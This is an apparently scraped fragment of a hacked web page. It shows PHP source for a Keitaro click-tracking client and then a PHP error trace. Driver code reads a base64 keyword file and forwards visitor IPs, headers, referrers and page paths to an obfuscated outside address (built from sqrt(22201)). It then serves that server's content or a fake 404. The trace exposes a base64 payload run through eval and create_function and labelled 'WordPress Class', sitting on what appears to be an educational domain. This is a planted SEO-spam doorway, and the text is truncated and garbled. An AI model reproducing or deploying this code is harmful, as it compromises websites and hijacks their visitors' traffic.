($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1

( ! ) Notice: Undefined index: HTTP_REFERER in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 753
Call Stack
#TimeMemoryFunctionLocation
10.0005362336{main}( ).../bqpj.php:0
20.0010421000__lambda_func( ).../bqpj.php:145
30.0012497632eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoa